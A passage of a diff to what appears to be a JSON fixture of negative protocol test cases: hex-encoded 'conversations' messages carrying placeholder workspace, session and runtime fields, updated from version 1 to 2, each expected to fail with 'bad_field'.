30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-host-query-sees-the-winter-tree", "direction": "down", - "hex": "574d583101010000010000003c0600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000790600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-host-query-plan-writable", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-profile-null-but-runtime-present", "direction": "down", - "hex": "574d58310101000001000000270600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000640600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-profile-present-but-runtime-absent", "direction": "down", - "hex": "574d583101010000010000004a0300007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", + "hex": "574d583101010000010000005b0300007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", "error": "bad_field" }, { "name": "conversations-guided-profile-without-binding", "direction": "down", - "hex": "574d58310101000001000000fa0500007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a6e756c6c7d7d5d7d", + "hex": "574d58310101000001000000370600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a6e756c6c2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-plain-profile-with-binding", "direction": "down", - "hex": 